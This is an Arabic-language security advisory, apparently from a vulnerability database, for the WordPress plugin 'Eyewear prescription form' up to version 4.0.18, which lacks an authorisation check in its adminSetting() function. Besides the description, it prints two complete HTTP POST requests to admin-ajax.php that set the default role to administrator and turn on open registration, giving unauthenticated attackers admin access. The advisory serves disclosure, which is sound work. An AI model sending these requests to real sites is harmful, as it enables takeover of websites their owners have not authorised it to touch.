
Eyewear prescription form <= 4.0.18 - فقدان التفويض لتحديث خيارات تعسفي دون مصادقة
Eyewear prescription form <= 4.0.18 - نقص التفويض يسمح بتحديث خيارات عشوائية بدون مصادقة
إن إضافة Eyewear prescription form في WordPress عرضة لتعديل غير مصرح به للبيانات قد يؤدي إلى تصعيد الامتيازات بسبب نقص فحص الصلاحيات في الدالة adminSetting() في جميع الإصدارات حتى 4.0.18 وما يشملها. وهذا يتيح للمهاجمين غير المصادقين تحديث خيارات عشوائية على موقع WordPress. ويمكن استغلال ذلك لتحديث الدور الافتراضي للتسجيل إلى administrator وتمكين تسجيل المستخدمين لتمكين المهاجمين من الحصول على وصول إداري إلى الموقع المتأثر.
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=default_role&data[settingValue]=administrator
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: example.com
Content-Type: application/x-www-form-urlencoded
Content-Length: 84
action=adminSetting&data[settingCode]=users_can_register&data[settingValue]=1